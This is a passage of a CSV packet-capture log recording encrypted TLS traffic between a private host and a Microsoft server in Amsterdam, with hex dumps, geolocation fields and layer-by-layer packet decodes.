\"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 44957, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 35850, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.98.232.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64008, \"\"dport\"\": 443, \"\"seq\"\": 53881321, \"\"ack\"\": 3746063119, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1021, \"\"chksum\"\": 33140, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:45.069209,67,TCP 10.152.152.11:64008 -> 52.98.232.34:443,10.152.152.11,52.98.232.34,64008,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.98.232.0/26,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=53881321 Ack=3746063119,bc24112907bbbc2411360d0c08004500007faf9e400080068bb20a98980b3462e822fa0801bb033629e9df48630f501803fd82f20000170303005200000000000000018ca8a9df69acad0ab4ead2742888202d19391bb40270d4b4a5e9685eb4c4df5a4cedf74be5cfc0dce1f5d71dc2e9c7284ab361b4f4330cfbb3485585c9d5c9b7c611c4567fc5ceed02a9,\".$.)...$.6\n...E.....@.....\n...4b.\"\".....6)..Hc.P...........R............i..\n...t(. -.9...p....h^...ZL..K...........(J.a..3...HU........V......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 127, \"\"id\"\": 44958, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 35762, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.98.232.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64008, \"\"dport\"\": 443, \"\"seq\"\": 53881321, \"\"ack\"\": 3746063119, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 33522, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 82, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\x8c\\\\xa8\\\\xa9\\\\xdfi\\\\xac\\\\xad\\\\n\\\\xb4\\\\xea\\\\xd2t(\\\\x88 -\\\\x199\\\\x1b\\\\xb4\\\\x02p\\\\xd4\\\\xb4\\\\xa5\\\\xe9h^\\\\xb4\\\\xc4\\\\xdfZL\\\\xed\\\\xf7K\\\\xe5\\\\xcf\\\\xc0\\\\xdc\\\\xe1\\\\xf5\\\\xd7\\\\x1d\\\\xc2\\\\xe9\\\\xc7(J\\\\xb3a\\\\xb4\\\\xf43\\\\x0c\\\\xfb\\\\xb3HU\\\\x85\\\\xc9\\\\xd5\\\\xc9\\\\xb7\\\\xc6\\\\x11\\\\xc4V\\\\x7f\\\\xc5\\\\xce\\\\xed\\\\x02\\\\xa9' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:45.069217,68,TCP 52.98.232.34:443 -> 10.152.152.11:64008,52.98.232.34,10.152.152.11,443,64008,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.98.232.0/26,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3746063119 Ack=53881408,bc2411360d0cbc24112907bb080045000028c88840004006b31f3462e8220a98980b01bbfa08df48630f03362a405010003fbf420000,\".$.6\n..$.)....E..(..@.@...4b.\"\"\n........Hc..6*@P..?.B..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 51336, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 45855, \"\"src\"\": \"\"52.98.232.34\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64008, \"\"seq\"\": 3746063119, \"\"ack\"\": 53881408, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 48962, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:45.069318,69,TCP 10.152.152.11:64008 -> 52.98.232.34:443,10.152.152.11,52.98.232.34,64008,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.98.232.0/26,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=53881408 Ack=3746063119,bc24112907bbbc2411360d0c08004500004eaf9f400080068be20a98980b3462e822fa0801bb03362a40df48630f501803fd6d6a000017030300210000000000000002e25f95e260e617870e041c68fa0d78df8c9d4388ec0e1f9818,\".$.)...$.6\n...E..N..@.....\n...4b.\"\".....6*@.Hc.P...mj......!........._..`......h.\nx...C......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 78, \"\"id\"\": 44959, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 35810, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.98.232.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64008, \"\"dport\"\": 443, \"\"seq\"\": 53881408, \"\"ack\"\": 3746063119, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 28010, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\xe2_\\\\x95\\\\xe2`\\\\xe6\\\\x17\\\\x87\\\\x0e\\\\x04\\\\x1ch\\\\xfa\\\\rx\\\\xdf\\\\x8c\\\\x9dC\\\\x88\\\\xec\\\\x0e\\\\x1f\\\\x98\\\\x18' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:45.069323,70,TCP 52.98.232.34:443 -> 10.152.152.11:64008,52.98.232.34,10.152.152.11,443,64008,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.98.232.0/26,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3746063119 Ack=53881446,bc2411360d0cbc24112907bb080045000028c88940004006b31e3462e8220a98980b01bbfa08df48630f03362a665010003fbf420000,\".$.6\n..$.)....E..(..@.@...4b.\"\"\n........Hc..6*fP..?.B..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 51337, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 45854, \"\"src\"\": \"\"52.98.232.34\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64008, \"\"seq\"\": 3746063119, \"\"ack\"\": 53881446, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 48962, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:45.069487,71,TCP 10.152.152.11:64008 -> 52.98.232.34:443,10.152.152.11,52.98.232.34,64008,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.98.232.0/26,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=53881446 Ack=3746063119,bc24112907bbbc2411360d0c08004500009cafa0400080068b930a98980b3462e822fa0801bb03362a66df48630f501803fd80890000170303006f00000000000000036dcd0d33ba2689b5aaf16c7e6e84b15a52adac094a06493753db5ddf636fb8219da3a524ae7b8f06c4caad2c47a932b6ef827ae5d4515fdcec6ba0ef1b38aa6771e3e647034dae61642bb42af5f2f75def49c031f320f1edf09e6201935a6854f1f7fe67001958,\".$.)...$.6\n...E.....@.....\n...4b.\"\".....6*f.Hc.P...........o........m.\n3.&....l~n..ZR..\tJ.I7S.].co.!...$.{.....,G.2...z..Q_..k...8.gq..G.M.ad+.*...].I.1. ....b..ZhT...g..X\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 156, \"\"id\"\": 44960, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 35731, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.98.232.34\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64008, \"\"dport\"\": 443, \"\"seq\"\": 53881446, \"\"ack\"\": 3746063119, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 32905, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 111, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x03m\\\\xcd\\\\r3\\\\xba&\\\\x89\\\\xb5\\\\xaa\\\\xf1l~n\\\\x84\\\\xb1ZR\\\\xad\\\\xac\\\\tJ\\\\x06I7S\\\\xdb]\\\\xdfco\\\\xb8!\\\\x9d\\\\xa3\\\\xa5$\\\\xae{\\\\x8f\\\\x06\\\\xc4\\\\xca\\\\xad,G\\\\xa92\\\\xb6\\\\xef\\\\x82z\\\\xe5\\\\xd4Q_\\\\xdc\\\\xeck\\\\xa0\\\\xef\\\\x1b8\\\\xaagq\\\\xe3\\\\xe6G\\\\x03M\\\\xaead+\\\\xb4*\\\\xf5\\\\xf2\\\\xf7]\\\\xefI\\\\xc01\\\\xf3 \\\\xf1\\\\xed\\\\xf0\\\\x9eb\\\\x01\\\\x93ZhT\\\\xf1\\\\xf7\\\\xfeg\\\\x00\\\\x19X' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:45.069492,72,TCP 52.98.232.34:443 -> 10.152.152.11:64008,52.98.232.34,10.152.152.11,443,64008,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.98.232.0/26,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3746063119 Ack=53881562,bc2411360d0cbc24112907bb080045000028c88a40004006b31d3462e8220a98980b01bbfa08df48630f03362ada5010003fbf420000,\".$.6\n..$.)....E..(..@.@...4b.\"\"\n........Hc..6*.P..?.B..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 51338, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 45853, \"\"src\"\": \"\"52.98.232.34\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64008, \"\"seq\"\": 3746063119, \"\"ack\"\": 53881562, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 48962, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:45.524664,73,TCP 52.98.232.34:443 -> 10.152.152.11:64008,52.98.232.34,10.152.152.11,443,64008,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.98.232.0/26,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS > TLS,7,TCP PA Seq=3746063119 Ack=53881562,bc2411360d0cbc24112907bb08004500047ac88b40004006aeca3462e8220a98980b01bbfa08df48630f03362ada5018003fc394000017030300210000000000000002d22ebcb2f202b51a3a0db435802f753150b5da575b9edf4d6a170303032a00000000000000036deaccdf4915c4be7100637f5d240fb3fc3f9e0e62494e40744c44e19db05125b92c060136656a44c183fe0204565c339bb762a1052a02a006953a8df1d6390b215772f22ef4c895cfca6644c84659448ea498d84cf2e6dbe86d71f58e6673835ad488a5248d17098a911e2c99487b8e9d0ace02c3b4a39153cd77ed33a3fa725be81b11a2a5ea94e9b53e54c415718fe424407a3bae2ed350e55f2c34e691c931e071059c710a3d7c8113c50cf21a9a4743a12e08c6a5739d8249a3c3780ce7592ad1566e84024fa9888cd4d0a7abc08de6ec939cd3a7e269cd67b105a794491916701af237867c5169a3fda01ef7304762615a96dceab8859c1ea6a09342db932a8ac63ce35d2badef35eaec63c3b3950735d0926c8943398cb028e7e15ee3c70423feeb50c9c83d73995df9bd8149901f1af6e69777540f666a2c2f4067ea6d4e1d3e9d91da4cdb9fdc9ffca8001c3a524c12157a21f004b996ebf8b8bc18834a4c51cda10b012bd00cd2674fc1ad569670f499ce8d333127fe9cb530e016b0613047804ee6ce6988067f391df9bbfbdf091345a87282c490f7494a5aa08f21ef66718790ea72bff098681f292af434d6bf0fdd1b4176a40b15538be98f3f7e12894ac2817c54462145d6e9742317d72efba03ea129df8930d7ca607b13c509d95ca943946b10094b57cb1f3a3a10dc023ff609571a7a91c1e8e9556e555310f8627e670a43b3e05697d292e0169f9915b878042b0fb5cd0d152469586986c9dad2490e829726c2b3d57d3f622d422459eacedb892cc6a851d2a589e6af35f61545bea73a6d74e659daa79f75c9738170b94a64ff0e1a060fc17c523dcec89236e7d7549831b96f44e77eee09973ad1fdb16b85b8eda5295064669c3a33645cbf66ae0fa82b1cac6ab865e344039a115b17f0feff781773fed6b7fa0477b88ef5c5e3266e85f0dff8f2a59031b63883e3748a8468947a41bda593d5df18d2660b73bb4f15f75eec80243b7ab102377f0f44a61e8ae0e74ce7020f494f7933b5cd71da73a8cda1f227226df11c81d822df248ced32f956c282341fb1235414ff3cd8cf27c326abb5d1ac670f1c45118878258ebae47ee2142cf703ddd7230f71d117030300d20000000000000004b61f5572e47006b5e4ff31502171bf2029d208ef74c874265071eb4ba5125fe59c3f415db80e97be116c6a0543aa38f127d9940ee65898467c5c457bae8ad33cd9e7d38068b21fd57c118dbc44445e036dfda236b3a8eb54cd191fcebb36769248b6f4d937a2f228cc1a0bd0b9fa2f845b3d5e426f3dc498b0a8cda507359b9d66dbfb1843c1de470c6000f298c6a34921ef852e08b078b4de8c6b614169adaf95c08de3033fbd9724c80db2ef79c46b070a862557b2a298c48dd2375674e10a3ea7b87151c6a687a4c417030300210000000000000005705116e2b4f6ff57e5922a4ddf84b506a695cce336e402e371,\".$.6\n..$.)....E..z..@.@...4b.\"\"\n........Hc..6*.P..?........!................:\n.5./u1P..W[..Mj....*........m...I...q.c.]$...?..bIN@tLD...Q%.,..6ejD.....V\\3..b..*....:...9.!Wr.......fD.FYD....L....mq..fs.Z...$..\t...,.H{..\n......S.w.3..r[.........>T..q..$@z;...P._,4...1.q..q\n=|.......GC.....s..I..x..Y*.Vn..O................i.g....I..p..7.|Qi.....0GbaZ..........B..*..<.]+..5..c....5..l.C9..(..^...#..P..=s.]...I......wT.fj,/@g.mN.>...L........:RL..z!..........JLQ....+...gO..V.p....31'...0...a0G.N..i...9.....\t.E.r....IJZ..!.fq...r...h.)*.4.....Av...S...?~..J..|TF!E..t#.....>.)..0..`{..\t.\\.C.k.\tKW..::...?.\tW.z....UnUS..b~g\nC..V.........x.+...\n.$iXi....I...&...}?b-B$Y....,..Q.....5..E..:mt.Y...u.s.p.Jd......|R=...6..T.1.oD.~.\t.:...k....)Pdf.:3d\\.f...+..j.e.D...[....x.s.....w.....&n.......1.8..t..h.zA.......f.s.O..^..$;z..7..D.....L...IOy3..q.s....'\"\"m....\"\".$..2.V..4..#T..<..'.&....g..E..x%...~..,....#.q................Ur.p....1P!q. )...t.t&Pq.K.._..?A].....lj.C.8.'....X.F|\\E{...<....h...|...DD^.m..6...T.....6v.H...7..(....../.[=^Bo=.......5..f...C..G.`.....I!.....x...kaAi.......?..$.\n..y.k.\n.%W......7Vt.\n>..qQ.........!........pQ.....W..*M........6...q\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1146, \"\"id\"\": 51339, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 44746, \"\"src\"\": \"\"52.98.232.34\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64008, \"\"seq\"\": 3746063119, \"\"ack\"\": 53881562, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 50068, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\xd2.\\\\xbc\\\\xb2\\\\xf2\\\\x02\\\\xb5\\\\x1a:\\\\r\\\\xb45\\\\x80/u1P\\\\xb5\\\\xdaW[\\\\x9e\\\\xdfMj' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 810, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x03m\\\\xea\\\\xcc\\\\xdfI\\\\x15\\\\xc4\\\\xbeq\\\\x00c\\\\x7f]$\\\\x0f\\\\xb3\\\\xfc?\\\\x9e\\\\x0ebIN@tLD\\\\xe1\\\\x9d\\\\xb0Q%\\\\xb9,\\\\x06\\\\x016ejD\\\\xc1\\\\x83\\\\xfe\\\\x02\\\\x04V\\\\\\\\3\\\\x9b\\\\xb7b\\\\xa1\\\\x05*\\\\x02\\\\xa0\\\\x06\\\\x95:\\\\x8d\\\\xf1\\\\xd69\\\\x0b!Wr\\\\xf2.\\\\xf4\\\\xc8\\\\x95\\\\xcf\\\\xcafD\\\\xc8FYD\\\\x8e\\\\xa4\\\\x98\\\\xd8L\\\\xf2\\\\xe6\\\\xdb\\\\xe8mq\\\\xf5\\\\x8efs\\\\x83Z\\\\xd4\\\\x88\\\\xa5$\\\\x8d\\\\x17\\\\t\\\\x8a\\\\x91\\\\x1e,\\\\x99H{\\\\x8e\\\\x9d\\\\n\\\\xce\\\\x02\\\\xc3\\\\xb4\\\\xa3\\\\x91S\\\\xcdw\\\\xed3\\\\xa3\\\\xfar[\\\\xe8\\\\x1b\\\\x11\\\\xa2\\\\xa5\\\\xea\\\\x94\\\\xe9\\\\xb5>T\\\\xc4\\\\x15q\\\\x8f\\\\xe4$@z;\\\\xae.\\\\xd3P\\\\xe5_,4\\\\xe6\\\\x91\\\\xc91\\\\xe0q\\\\x05\\\\x9cq\\\\n=|\\\\x81\\\\x13\\\\xc5\\\\x0c\\\\xf2\\\\x1a\\\\x9aGC\\\\xa1.\\\\x08\\\\xc6\\\\xa5s\\\\x9d\\\\x82I\\\\xa3\\\\xc3x\\\\x0c\\\\xe7Y*\\\\xd1Vn\\\\x84\\\\x02O\\\\xa9\\\\x88\\\\x8c\\\\xd4\\\\xd0\\\\xa7\\\\xab\\\\xc0\\\\x8d\\\\xe6\\\\xec\\\\x93\\\\x9c\\\\xd3\\\\xa7\\\\xe2i\\\\xcdg\\\\xb1\\\\x05\\\\xa7\\\\x94I\\\\x19\\\\x16p\\\\x1a\\\\xf27\\\\x86|Qi\\\\xa3\\\\xfd\\\\xa0\\\\x1e\\\\xf70GbaZ\\\\x96\\\\xdc\\\\xea\\\\xb8\\\\x85\\\\x9c\\\\x1e\\\\xa6\\\\xa0\\\\x93B\\\\xdb\\\\x93*\\\\x8a\\\\xc6<\\\\xe3]+\\\\xad\\\\xef5\\\\xea\\\\xecc\\\\xc3\\\\xb3\\\\x95\\\\x075\\\\xd0\\\\x92l\\\\x89C9\\\\x8c\\\\xb0(\\\\xe7\\\\xe1^\\\\xe3\\\\xc7\\\\x04#\\\\xfe\\\\xebP\\\\xc9\\\\xc8=s\\\\x99]\\\\xf9\\\\xbd\\\\x81I\\\\x90\\\\x1f\\\\x1a\\\\xf6\\\\xe6\\\\x97wT\\\\x0ffj,/@g\\\\xeamN\\\\x1d>\\\\x9d\\\\x91\\\\xdaL\\\\xdb\\\\x9f\\\\xdc\\\\x9f\\\\xfc\\\\xa8\\\\x00\\\\x1c:RL\\\\x12\\\\x15z!\\\\xf0\\\\x04\\\\xb9\\\\x96\\\\xeb\\\\xf8\\\\xb8\\\\xbc\\\\x18\\\\x83JLQ\\\\xcd\\\\xa1\\\\x0b\\\\x01+\\\\xd0\\\\x0c\\\\xd2gO\\\\xc1\\\\xadV\\\\x96p\\\\xf4\\\\x99\\\\xce\\\\x8d31\\\\'\\\\xfe\\\\x9c\\\\xb50\\\\xe0\\\\x16\\\\xb0a0G\\\\x80N\\\\xe6\\\\xcei\\\\x88\\\\x06\\\\x7f9\\\\x1d\\\\xf9\\\\xbb\\\\xfb\\\\xdf\\\\t\\\\x13E\\\\xa8r\\\\x82\\\\xc4\\\\x90\\\\xf7IJZ\\\\xa0\\\\x8f!\\\\xeffq\\\\x87\\\\x90\\\\xear\\\\xbf\\\\xf0\\\\x98h\\\\x1f)*\\\\xf44\\\\xd6\\\\xbf\\\\x0f\\\\xdd\\\\x1bAv\\\\xa4\\\\x0b\\\\x15S\\\\x8b\\\\xe9\\\\x8f?~\\\\x12\\\\x89J\\\\xc2\\\\x81|TF!E\\\\xd6\\\\xe9t#\\\\x17\\\\xd7.\\\\xfb\\\\xa0>\\\\xa1)\\\\xdf\\\\x890\\\\xd7\\\\xca`{\\\\x13\\\\xc5\\\\t\\\\xd9\\\\\\\\\\\\xa9C\\\\x94k\\\\x10\\\\tKW\\\\xcb\\\\x1f::\\\\x10\\\\xdc\\\\x02?\\\\xf6\\\\tW\\\\x1az\\\\x91\\\\xc1\\\\xe8\\\\xe9UnUS\\\\x10\\\\xf8b~g\\\\nC\\\\xb3\\\\xe0V\\\\x97\\\\xd2\\\\x92\\\\xe0\\\\x16\\\\x9f\\\\x99\\\\x15\\\\xb8x\\\\x04+\\\\x0f\\\\xb5\\\\xcd\\\\r\\\\x15$iXi\\\\x86\\\\xc9\\\\xda\\\\xd2I\\\\x0e\\\\x82\\\\x97&\\\\xc2\\\\xb3\\\\xd5}?b-B$Y\\\\xea\\\\xce\\\\xdb\\\\x89,\\\\xc6\\\\xa8Q\\\\xd2\\\\xa5\\\\x89\\\\xe6\\\\xaf5\\\\xf6\\\\x15E\\\\xbe\\\\xa7:mt\\\\xe6Y\\\\xda\\\\xa7\\\\x9fu\\\\xc9s\\\\x81p\\\\xb9Jd\\\\xff\\\\x0e\\\\x1a\\\\x06\\\\x0f\\\\xc1|R=\\\\xce\\\\xc8\\\\x926\\\\xe7\\\\xd7T\\\\x981\\\\xb9oD\\\\xe7~\\\\xee\\\\t\\\\x97:\\\\xd1\\\\xfd\\\\xb1k\\\\x85\\\\xb8\\\\xed\\\\xa5)Pdf\\\\x9c:3d\\\\\\\\\\\\xbff\\\\xae\\\\x0f\\\\xa8+\\\\x1c\\\\xacj\\\\xb8e\\\\xe3D\\\\x03\\\\x9a\\\\x11[\\\\x17\\\\xf0\\\\xfe\\\\xffx\\\\x17s\\\\xfe\\\\xd6\\\\xb7\\\\xfa\\\\x04w\\\\xb8\\\\x8e\\\\xf5\\\\xc5\\\\xe3&n\\\\x85\\\\xf0\\\\xdf\\\\xf8\\\\xf2\\\\xa5\\\\x901\\\\xb68\\\\x83\\\\xe3t\\\\x8a\\\\x84h\\\\x94zA\\\\xbd\\\\xa5\\\\x93\\\\xd5\\\\xdf\\\\x18\\\\xd2f\\\\x0bs\\\\xbbO\\\\x15\\\\xf7^\\\\xec\\\\x80$;z\\\\xb1\\\\x027\\\\x7f\\\\x0fD\\\\xa6\\\\x1e\\\\x8a\\\\xe0\\\\xe7L\\\\xe7\\\\x02\\\\x0fIOy3\\\\xb5\\\\xcdq\\\\xdas\\\\xa8\\\\xcd\\\\xa1\\\\xf2\\\\'\\\"\"m\\\\xf1\\\\x1c\\\\x81\\\\xd8\\\"\"\\\\xdf$\\\\x8c\\\\xed2\\\\xf9V\\\\xc2\\\\x824\\\\x1f\\\\xb1#T\\\\x14\\\\xff<\\\\xd8\\\\xcf\\\\'\\\\xc3&\\\\xab\\\\xb5\\\\xd1\\\\xacg\\\\x0f\\\\x1cE\\\\x11\\\\x88x%\\\\x8e\\\\xba\\\\xe4~\\\\xe2\\\\x14,\\\\xf7\\\\x03\\\\xdd\\\\xd7#\\\\x0fq\\\\xd1' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 210, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04\\\\xb6\\\\x1fUr\\\\xe4p\\\\x06\\\\xb5\\\\xe4\\\\xff1P!q\\\\xbf 